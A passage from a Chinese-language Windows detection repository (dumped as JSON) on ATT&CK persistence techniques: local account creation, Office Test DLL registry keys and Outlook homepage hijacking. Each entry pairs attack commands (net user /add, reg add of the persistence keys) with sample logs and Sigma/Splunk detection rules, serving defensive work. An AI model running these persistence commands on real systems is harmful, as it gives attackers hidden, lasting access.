**进程监控**：检测`net.exe`、`net1.exe`或`powershell.exe`的异常命令行（如`user /add`）。  \n- **登录行为监控**：检测新账户或异常高权限账户的登录（事件ID 4624）。  \n- **多事件关联**：结合进程创建和账户管理事件，识别攻击链。  \n- **威胁情报整合**：分析操作工具或行为是否与已知攻击活动匹配。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1098  \n  <https://attack.mitre.org/techniques/T1098/>"
  },
  {
    "path": "Windows/05持久化/T1136.001-Win-创建本地账户.md",
    "content": "# T1136.001-Win-创建本地账户\n\n## 描述\n\n攻击者可能通过创建本地系统账户实现持久化访问（T1136.001），无需部署远程访问工具。具备足够权限（如管理员）的攻击者可使用Windows内置工具（如`net user`）或PowerShell创建本地账户，用于后续登录或权限维持。在域环境中，攻击者可能优先创建本地账户以规避域策略监控；在云环境中（如Office 365），攻击者可能创建服务账户或全局管理员账户以维持访问。\n\n创建本地账户的隐蔽性较高，尤其是当账户名称伪装为合法用户或服务账户时。检测重点在于监控账户创建事件、命令行参数及异常登录行为。\n\n## 测试案例\n\n1. **使用`net user`创建本地账户**  \n   攻击者在目标系统上创建本地用户并设置密码。  \n2. **使用PowerShell创建本地账户**  \n   攻击者通过`New-LocalUser` cmdlet创建用户并添加到管理员组。  \n3. **伪装合法账户**  \n   攻击者创建名称类似系统账户（如`svc_admin`）的本地用户以降低被发现风险。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4720**：记录用户账户创建。  \n- **事件ID 4732**：记录账户添加到本地组（如Administrators）。  \n- **事件ID 4688**：记录进程创建，包含执行账户创建的工具（如`net.exe`）的命令行参数。  \n- **事件ID 4624**：记录新账户的首次登录。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`net.exe`或`powershell.exe`的命令行参数。  \n- **事件ID 3**：记录网络连接，可能涉及新账户的远程访问。\n\n**配置日志记录**  \n- 启用账户管理审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 帐户管理 > 审核用户帐户管理`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程和网络监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：本地管理员权限。  \n- **日志**：启用Windows安全日志和Sysmon。\n\n### 攻击步骤\n1. **使用`net user`创建本地账户**  \n   以管理员权限运行CMD，创建用户`admin.123`：\n   ```dos\n   net user admin.123 admin1 /add\n   ```\n\n2. **添加到管理员组（可选）**  \n   将`admin.123`添加到Administrators组：\n   ```dos\n   net localgroup Administrators admin.123 /add\n   ```\n\n3. **验证结果**  \n   - 检查账户创建：\n     ```dos\n     net user admin.123\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4720）**：\n       ```plaintext\n       EventID: 4720\n       Account Name: admin.123\n       Account Domain: 12306Br0-PC\n       Security ID: S-1-5-21-3579006141-3881886638-2121494774-1001\n       Subject Account Name: 12306Br0\n       Subject Account Domain: 12306Br0-PC\n       ```\n     - **Sysmon日志（事件ID 1）**：\n       ```plaintext\n       EventID: 1\n       Image: C:\\Windows\\System32\\net.exe\n       CommandLine: net user admin.123 admin1 /add\n       ParentImage: C:\\Windows\\System32\\cmd.exe\n       User: 12306Br0-PC\\12306Br0\n       IntegrityLevel: High\n       ```\n     - **Windows安全日志（事件ID 4732，添加组）**：\n       ```plaintext\n       EventID: 4732\n       Member Account Name: admin.123\n       Group Name: Administrators\n       Group Domain: 12306Br0-PC\n       ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4720）**：\n  ```plaintext\n  EventID: 4720\n  Account Name: admin.123\n  Account Domain: 12306Br0-PC\n  Security ID: S-1-5-21-3579006141-3881886638-2121494774-1001\n  Subject Account Name: 12306Br0\n  Subject Account Domain: 12306Br0-PC\n  Subject Logon ID: 0x75a8e\n  User Account Control: Disabled Account, No Password Required, Normal Account\n  ```\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Windows\\System32\\net.exe\n  Process Command Line: net user admin.123 admin1 /add\n  Creator Process Name: C:\\Windows\\System32\\cmd.exe\n  ```\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\net.exe\n  CommandLine: net user admin.123 admin1 /add\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: 12306Br0-PC\\12306Br0\n  IntegrityLevel: High\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志和Sysmon日志，检测本地账户创建及相关操作。以下是具体思路：\n\n1. **日志分析**：\n   - 监控事件ID 4720，检测本地账户创建。  \n   - 监控事件ID 4732，检测账户添加到高权限组（如Administrators）。  \n   - 监控事件ID 4688或Sysmon事件ID 1，检测`net.exe`或`powershell.exe`的命令行参数（如`user /add`、`New-LocalUser`）。  \n   - 监控事件ID 4624，检测新账户的首次登录。\n\n2. **Sigma规则（账户创建）**：\n   ```yaml\n   title: 本地账户创建检测\n   id: m9n0p1q2-r3s4-5678-tuvw-xyz9012345\n   status: stable\n   description: 检测Windows系统上的本地账户创建，适用于非AD环境\n   references:\n     - https://attack.mitre.org/techniques/T1136/001/\n     - https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/\n   tags:\n     - attack.persistence\n     - attack.t1136.001\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection:\n       EventID: 4720\n     condition: selection\n   fields:\n     - EventID\n     - AccountName\n     - AccountDomain\n   falsepositives:\n     - 域控制器日志\n     - 合法的本地账户管理工具操作\n   level: low\n   ```\n\n3. **Sigma规则（命令行检测）**：\n   ```yaml\n   title: Net.exe或PowerShell创建本地账户\n   id: n0p1q2r3-s4t5-6789-uvwx-yz0123456\n   status: stable\n   description: 检测通过net.exe或PowerShell执行的本地账户创建\n   author: Grok\n   date: 2025/06/07\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection_net:\n       EventID:\n         - 4688\n         - 1\n       Image|endswith:\n         - '\\net.exe'\n         - '\\net1.exe'\n       CommandLine|contains|all:\n         - 'user'\n         - '/add'\n     selection_ps:\n       EventID:\n         - 4688\n         - 1\n       Image|endswith: '\\powershell.exe'\n       CommandLine|contains:\n         - 'New-LocalUser'\n     condition: selection_net or selection_ps\n   fields:\n     - Image\n     - CommandLine\n     - User\n   falsepositives:\n     - 合法的账户管理脚本\n     - 管理员维护任务\n   level: medium\n   ```\n\n4. **Splunk规则**：\n   ```spl\n   source=\"WinEventLog:Security\" EventCode IN (4720,4732,4688) (ProcessName IN (\"*net.exe\",\"*net1.exe\") CommandLine=\"*user*add*\") OR (ProcessName=\"*powershell.exe\" CommandLine=\"*New-LocalUser*\") | table EventCode,AccountName,AccountDomain,ProcessName,CommandLine,ComputerName\n   ```\n\n5. **多事件关联**：\n   - 结合事件ID 4720（账户创建）和4688（命令行），提高检测准确性。  \n   - 示例PowerShell查询：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -in @(4720,4688) -and $_.Message -match \"net user.*add\" } | Select-Object TimeCreated, Id, Message\n     ```\n\n6. **威胁情报整合**：\n   - 检查新账户名称或命令行参数是否与已知恶意模式相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御本地账户创建需从权限控制、系统加固和监控入手：\n\n1. **限制管理员权限**  \n   - 遵循最小权限原则，限制用户对账户管理的访问。  \n   - 配置组策略限制非必要账户的管理员权限：\n     ```powershell\n     Set-GPPolicy -Name \"Restrict Admin Access\" -Path \"Computer Configuration\\Policies\\Windows Settings\\Deny log on locally\"\n     ```\n\n2. **加强账户管理**  \n   - 定期审计本地账户，移除未知或未使用的账户。  \n   - 示例PowerShell命令：\n     ```powershell\n     Get-LocalUser | Where-Object { $_.Enabled -eq $true } | Select-Object Name, SID, LastLogon\n     ```\n\n3. **网络访问控制**  \n   - 限制远程登录（如RDP、SMB），仅允许白名单IP。  \n   - 示例防火墙规则：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block RDP\" -Direction Inbound -LocalPort 3389 -Protocol TCP -Action Block\n     ```\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 使用强密码策略，避免弱密码。\n\n5. **日志和监控**  \n   - 启用事件ID 4720、4732和4688的监控，检测账户创建和命令行操作。  \n   - 配置Sysmon监控`net.exe`和`powershell.exe`的异常命令行。  \n   - 使用EDR工具检测账户创建及后续登录行为。\n\n6. **定期审计**  \n   - 检查本地账户和组成员变更，识别异常操作。  \n   - 示例PowerShell命令：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4720 } | Select-Object TimeCreated, @{Name=\"AccountName\";Expression={$_.Properties[0].Value}}\n     ```\n\n### 检测\n\n检测工作应集中在本地账户创建行为：  \n- **账户事件监控**：分析事件ID 4720，检测账户创建。  \n- **命令行监控**：检测`net user /add`或`New-LocalUser`的执行（事件ID 4688或Sysmon事件ID 1）。  \n- **组成员监控**：检测新账户添加到Administrators组（事件ID 4732）。  \n- **登录行为监控**：检测新账户的首次登录（事件ID 4624）。  \n- **多事件关联**：结合账户创建和命令行事件，提高检测准确性。  \n- **威胁情报整合**：分析账户名称或命令行是否与已知攻击模式匹配。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1136.001  \n  <https://attack.mitre.org/techniques/T1136/001/>  \n- Detecting Local User Creation in AD with Sigma  \n  <https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/>  \n- Sigma Rule for Local User Creation  \n  <https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_user_creation.yml>"
  },
  {
    "path": "Windows/05持久化/T1137.002-Win-office应用启动程序-office test.md",
    "content": "# T1137.002-Win-Office应用启动程序-Office Test\n\n## 描述\n\n攻击者可能滥用Microsoft Office的“Office Test”注册表键实现系统持久化（T1137.002）。该注册表键允许用户指定任意DLL，在每次启动Office应用程序（如Word、Excel）时加载执行。此功能原为Microsoft开发Office时的测试和调试用途，默认安装不创建相关键。攻击者可通过添加或修改以下注册表位置，加载恶意DLL：\n\n```plaintext\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n```\n\n`HKCU`键影响当前用户，`HKLM`键影响所有用户。攻击者需具备相应权限（如管理员权限修改`HKLM`），并将恶意DLL路径写入注册表。Office启动时会加载该DLL，执行恶意代码，实现持久化。此技术隐蔽性较高，因其不依赖常见持久化机制（如启动项）。检测重点在于监控注册表键的创建/修改及Office进程的异常DLL加载。\n\n## 测试案例\n\n1. **Office Test注册表持久化**  \n   攻击者通过`reg add`命令创建`Office Test`注册表键，指定恶意DLL路径，在Office启动时执行。  \n2. **伪装合法DLL**  \n   攻击者将恶意DLL命名为类似系统DLL的名称（如`msvcr.dll`），降低被发现风险。  \n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，可能涉及`reg.exe`或Office应用程序的执行。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`reg.exe`或Office应用程序（如`winword.exe`）的命令行参数。  \n- **事件ID 13**：记录注册表值修改，如`Office test\\Special\\Perf`键的创建或更新。  \n- **事件ID 7**：记录DLL加载，检测Office进程加载的异常DLL。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强注册表、进程和DLL加载监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+，安装Microsoft Office（2016+）。  \n- **权限**：本地管理员权限（修改`HKCU`无需管理员权限，修改`HKLM`需要）。  \n- **工具**：测试用DLL（如`test.dll`），Sysmon及Windows安全日志启用。  \n\n### 攻击步骤\n1. **添加Office Test注册表键**  \n   以管理员权限运行CMD，添加`HKCU`注册表键，指定DLL路径：\n   ```dos\n   reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"C:\\Users\\Administrator.ZHULI\\Desktop\\test.dll\"\n   ```\n\n   **真实测试结果**：\n   ```dos\n   C:\\Users\\Administrator.ZHULI>reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"C:\\Users\\Administrator.ZHULI\\Desktop\\test.dll\"\n   操作成功完成。\n   ```\n\n2. **启动Office应用程序**  \n   打开Word或Excel，触发DLL加载。  \n\n3. **清理注册表（测试后）**  \n   删除注册表键：\n   ```dos\n   reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /f >nul 2>&1\n   ```\n\n   **真实测试结果**：\n   ```dos\n   C:\\Users\\Administrator.ZHULI>reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /f >nul 2>&1\n   ```\n\n4. **验证结果**  \n   - 检查注册表键：\n     ```dos\n     reg query \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\"\n     ```\n   - 检查日志：  \n     - **Sysmon日志（事件ID 13）**：\n       ```plaintext\n       EventID: 13\n       EventType: SetValue\n       UtcTime: 2022-01-11 06:27:59.168\n       ProcessGuid: {78c84c47-236f-61dd-cf20-000000000800}\n       ProcessId: 3312\n       Image: C:\\Windows\\System32\\reg.exe\n       TargetObject: HKU\\S-1-5-21-2729552704-1545692732-1695105048-500\\Software\\Microsoft\\Office test\\Special\\Perf\\(Default)\n       Details: C:\\Users\\Administrator.ZHULI\\Desktop\\test.dll\n       User: ZHULI\\Administrator\n       ```\n     - **Sysmon日志（事件ID 7，DLL加载）**：\n       ```plaintext\n       EventID: 7\n       Image: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n       ImageLoaded: C:\\Users\\Administrator.ZHULI\\Desktop\\test.dll\n       User: ZHULI\\Administrator\n       ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  RuleName: technique_id=T1112,technique_name=Modify Registry\n  UtcTime: 2022-01-11 06:27:59.157\n  ProcessGuid: {78c84c47-236f-61dd-cf20-000000000800}\n  ProcessId: 3312\n  Image: C:\\Windows\\System32\\reg.exe\n  CommandLine: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"C:\\Users\\Administrator.ZHULI\\Desktop\\test.dll\"\n  User: ZHULI\\Administrator\n  IntegrityLevel: High\n  ```\n- **Sysmon日志（事件ID 13）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2022-01-11 06:27:59.168\n  ProcessId: 3312\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKU\\S-1-5-21-2729552704-1545692732-1695105048-500\\Software\\Microsoft\\Office test\\Special\\Perf\\(Default)\n  Details: C:\\Users\\Administrator.ZHULI\\Desktop\\test.dll\n  User: ZHULI\\Administrator\n  ```\n- **Sysmon日志（事件ID 7）**：\n  ```plaintext\n  EventID: 7\n  Image: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n  ImageLoaded: C:\\Users\\Administrator.ZHULI\\Desktop\\test.dll\n  Hashes: SHA256=<DLL_HASH>\n  User: ZHULI\\Administrator\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测Office Test注册表键的创建/修改及异常DLL加载。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKCU\\Software\\Microsoft\\Office test\\Special\\Perf`或`HKLM\\Software\\Microsoft\\Office test\\Special\\Perf`的修改。  \n   - 监控Sysmon事件ID 7，检测Office进程（如`winword.exe`）加载的非Office标准DLL。  \n   - 监控Sysmon事件ID 1或Windows事件ID 4688，检测`reg.exe`的异常命令行（如添加`Office test`键）。  \n   - 监控事件ID 4624，检测新DLL触发的异常登录行为。\n\n2. **Sigma规则（注册表修改）**：\n   ```yaml\n   title: Office Test注册表键修改\n   id: p1q2r3s4-t5u6-7890-vwxy-z1234567890\n   status: stable\n   description: 检测Office Test注册表键的创建或修改，可能表明持久化攻击\n   references:\n     - https://attack.mitre.org/techniques/T1137/002/\n     - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.002/T1137.002.yaml\n   tags:\n     - attack.persistence\n     - attack.t1137.002\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains: '\\Software\\Microsoft\\Office test\\Special\\Perf'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n   falsepositives:\n     - 合法的Office开发测试\n   level: high\n   ```\n\n3. **Sigma规则（DLL加载）**：\n   ```yaml\n   title: Office进程加载异常DLL\n   id: q2r3s4t5-u6v7-8901-wxyz-2345678901\n   status: experimental\n   description: 检测Office应用程序加载非标准DLL，可能与Office Test持久化相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 7\n       Image|endswith:\n         - '\\winword.exe'\n         - '\\excel.exe'\n         - '\\powerpnt.exe'\n       ImageLoaded|contains: '.dll'\n       ImageLoaded|not_contains:\n         - '\\Microsoft Office\\'\n         - '\\Windows\\System32\\'\n         - '\\Windows\\SysWOW64\\'\n     condition: selection\n   fields:\n     - Image\n     - ImageLoaded\n     - User\n   falsepositives:\n     - 第三方Office插件\n     - 开发环境中的合法DLL\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测Office Test注册表修改及DLL加载。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventCode=13 TargetObject=\"*Office test\\Special\\Perf*\") OR (EventCode=7 Image IN (\"*winword.exe\",\"*excel.exe\",\"*powerpnt.exe\") ImageLoaded=\"*.dll\" NOT ImageLoaded IN (\"*Microsoft Office*\",\"*System32*\",\"*SysWOW64*\")) | stats count by EventCode, TargetObject, Image, ImageLoaded, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 监控`HKCU\\Software\\Microsoft\\Office test\\Special\\Perf`和`HKLM\\Software\\Microsoft\\Office test\\Special\\Perf`的创建或修改。  \n   - 示例PowerShell查询：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office test\\Special\\Perf\" -ErrorAction SilentlyContinue\n     ```\n\n6. **威胁情报整合**：\n   - 检查DLL文件哈希或路径是否与已知恶意样本相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御Office Test持久化需从注册表保护、DLL加载监控和权限控制入手：\n\n1. **限制注册表访问**  \n   - 配置ACL，限制非管理员用户对`HKCU\\Software\\Microsoft\\Office test`和`HKLM\\Software\\Microsoft`的写入权限。  \n\n3. **加强Office安全**  \n   - 启用Office攻击面减少（ASR）规则，限制未知DLL加载。  \n   - 配置组策略：`计算机配置 > 管理模板 > Microsoft Office > 安全设置 > 阻止不受信任的DLL`。\n\n4. **网络访问控制**  \n   - 限制Office应用程序的出站连接，防止恶意DLL发起网络通信。  \n\n5. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 使用强密码策略，避免弱凭据。\n\n6. **日志和监控**  \n   - 启用Sysmon事件ID 13和7，检测注册表修改及异常DLL加载。  \n   - 配置SIEM监控`Office test\\Special\\Perf`相关事件。  \n   - 使用EDR工具检测Office进程的非标准行为。\n\n7. **定期审计**  \n   - 检查Office Test注册表键是否存在。  \n\n### 检测\n\n检测工作应集中在注册表和DLL加载行为：  \n- **注册表监控**：检测`Office test\\Special\\Perf`键的创建或修改（Sysmon事件ID 13）。  \n- **DLL加载监控**：检测Office进程加载非标准DLL（Sysmon事件ID 7）。  \n- **进程监控**：检测`reg.exe`的异常命令行（如添加`Office test`键，事件ID 4688或Sysmon事件ID 1）。  \n- **多事件关联**：结合注册表修改和DLL加载事件，提高检测准确性。  \n- **威胁情报整合**：分析DLL哈希或路径是否与已知恶意样本匹配。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1137.002  \n  <https://attack.mitre.org/techniques/T1137/002/>  \n- Atomic Red Team: T1137.002  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.002/T1137.002.yaml>"
  },
  {
    "path": "Windows/05持久化/T1137.004-Win-office应用启动程序-outlook主页.md",
    "content": "# T1137.004-Win-Office应用启动程序-Outlook主页\n\n## 描述\n\n攻击者可能利用Microsoft Outlook的“主页”（Home Page）功能实现系统持久化（T1137.004）。Outlook主页允许为特定文件夹（如收件箱）设置自定义HTML页面，在打开文件夹时加载内部或外部URL的内容。攻击者可配置恶意HTML文件，包含JavaScript或其他可执行代码，在Outlook访问目标文件夹时触发，从而执行恶意有效负载。  \n\n此功能为Outlook早期版本的遗留特性，允许自定义文件夹视图，但可被滥用为持久化机制。恶意主页在Outlook启动并加载目标文件夹（如收件箱）时执行，隐蔽性较高。攻击者需具备用户权限以修改注册表（如`HKCU`），或管理员权限以影响全局配置。检测重点在于监控Outlook相关注册表键的修改及异常HTML加载行为。\n\n## 测试案例\n\n1. **Outlook主页持久化**  \n   攻击者通过修改注册表，为Outlook收件箱设置恶意HTML页面URL，在文件夹加载时执行代码。  \n2. **伪装合法HTML**  \n   攻击者使用看似合法的HTML文件名或托管在可信域的URL，降低被发现风险。  \n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，可能涉及`reg.exe`或`outlook.exe`的执行。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`reg.exe`或`outlook.exe`的命令行参数。  \n- **事件ID 13**：记录注册表值修改，如`HKCU\\Software\\Microsoft\\Office\\<version>\\Outlook\\WebView\\<folder>`的创建或更新。  \n- **事件ID 3**：记录网络连接，检测Outlook加载外部URL的活动。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强注册表、进程和网络监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+，安装Microsoft Outlook（2016+，版本16.0）。  \n- **权限**：用户权限（修改`HKCU`）。  \n- **工具**：测试用HTML文件（如`T1137.004.html`），Sysmon及Windows安全日志启用。  \n- **测试文件路径**：`C:\\Users\\Administrator.ZHULI\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1137.004\\src\\T1137.004.html`。\n\n### 攻击步骤\n1. **添加Outlook主页注册表键**  \n   以用户权限运行CMD，为收件箱设置恶意HTML页面：\n   ```dos\n   reg.exe add HKCU\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox /v URL /t REG_SZ /d \"C:\\Users\\Administrator.ZHULI\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1137.004\\src\\T1137.004.html\" /f\n   ```\n\n   **真实测试结果**：\n   ```dos\n   C:\\Users\\Administrator.ZHULI>reg.exe add HKCU\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox /v URL /t REG_SZ /d C:\\Users\\Administrator.ZHULI\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1137.004\\src\\T1137.004.html /f\n   操作成功完成。\n   ```\n\n2. **触发持久化**  \n   启动Outlook并打开收件箱，加载恶意HTML页面。  \n\n3. **清理注册表（测试后）**  \n   删除注册表键：\n   ```dos\n   reg.exe delete HKCU\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox /v URL /f >nul 2>&1\n   ```\n\n4. **验证结果**  \n   - 检查注册表键：\n     ```dos\n     reg query HKCU\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox\n     ```\n   - 检查日志：  \n     - **Sysmon日志（事件ID 1）**：\n       ```plaintext\n       EventID: 1\n       RuleName: technique_id=T1112,technique_name=Modify Registry\n       UtcTime: 2022-01-11 06:54:50.664\n       ProcessGuid: {78c84c47-29ba-61dd-b821-000000000800}\n       ProcessId: 6040\n       Image: C:\\Windows\\System32\\reg.exe\n       CommandLine: reg.exe add HKCU\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox /v URL /t REG_SZ /d C:\\Users\\Administrator.ZHULI\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1137.004\\src\\T1137.004.html /f\n       User: ZHULI\\Administrator\n       IntegrityLevel: High\n       ```\n     - **Sysmon日志（事件ID 13）**：\n       ```plaintext\n       EventID: 13\n       EventType: SetValue\n       UtcTime: 2022-01-11 06:54:50.675\n       ProcessId: 6040\n       Image: C:\\Windows\\System32\\reg.exe\n       TargetObject: HKU\\S-1-5-21-2729552704-1545692732-1695105048-500\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox\\URL\n       Details: C:\\Users\\Administrator.ZHULI\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1137.004\\src\\T1137.004.html\n       User: ZHULI\\Administrator\n       ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  RuleName: technique_id=T1112,technique_name=Modify Registry\n  UtcTime: 2022-01-11 06:54:50.664\n  ProcessGuid: {78c84c47-29ba-61dd-b821-000000000800}\n  ProcessId: 6040\n  Image: C:\\Windows\\System32\\reg.exe\n  CommandLine: reg.exe add HKCU\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox /v URL /t REG_SZ /d C:\\Users\\Administrator.ZHULI\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1137.004\\src\\T1137.004.html /f\n  User: ZHULI\\Administrator\n  IntegrityLevel: High\n  Hashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B,MD5=8A93ACAC33151793F8D52000071C0B06,SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF\n  ```\n- **Sysmon日志（事件ID 13）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2022-01-11 06:54:50.675\n  ProcessGuid: {78c84c47-29ba-61dd-b821-000000000800}\n  ProcessId: 6040\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKU\\S-1-5-21-2729552704-1545692732-1695105048-500\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox\\URL\n  Details: C:\\Users\\Administrator.ZHULI\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1137.004\\src\\T1137.004.html\n  User: ZHULI\\Administrator\n  ```\n- **Sysmon日志（事件ID 3，加载外部URL）**：\n  ```plaintext\n  EventID: 3\n  Image: C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE\n  DestinationIp: <External_IP>\n  DestinationPort: 80\n  Protocol: tcp\n  Initiated: true\n  User: ZHULI\\Administrator\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测Outlook主页注册表键的修改及异常网络活动。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKCU\\Software\\Microsoft\\Office\\<version>\\Outlook\\WebView\\<folder>`的修改。  \n   - 监控Sysmon事件ID 1或Windows事件ID 4688，检测`reg.exe`的异常命令行（如添加`Outlook\\WebView`键）。  \n   - 监控Sysmon事件ID 3，检测`outlook.exe`发起的异常网络连接（如加载外部URL）。  \n   - 监控事件ID 4624，检测新主页触发的异常登录行为。\n\n2. **Sigma规则（注册表修改）**：\n   ```yaml\n   title: Outlook主页注册表键修改\n   id: r3s4t5u6-v7w8-9012-xyza-3456789012\n   status: stable\n   description: 检测Outlook主页注册表键的创建或修改，可能表明持久化攻击\n   references:\n     - https://attack.mitre.org/techniques/T1137/004/\n     - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.004/T1137.004.yaml\n   tags:\n     - attack.persistence\n     - attack.t1137.004\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains: '\\Software\\Microsoft\\Office\\*\\Outlook\\WebView\\'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n   falsepositives:\n     - 合法的Outlook主页配置\n   level: high\n   ```\n\n3. **Sigma规则（异常网络连接）**：\n   ```yaml\n   title: Outlook异常网络连接\n   id: s4t5u6v7-w8x9-0123-yzab-4567890123\n   status: experimental\n   description: 检测Outlook加载外部URL的异常网络活动，可能与主页持久化相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Image|endswith: '\\outlook.exe'\n       DestinationPort: \n         - 80\n         - 443\n       Initiated: true\n     condition: selection\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n   falsepositives:\n     - 合法的Outlook插件或网页内容加载\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测Outlook主页注册表修改及网络活动。\n   - 示例Splunk查询：\n     ```spl\n     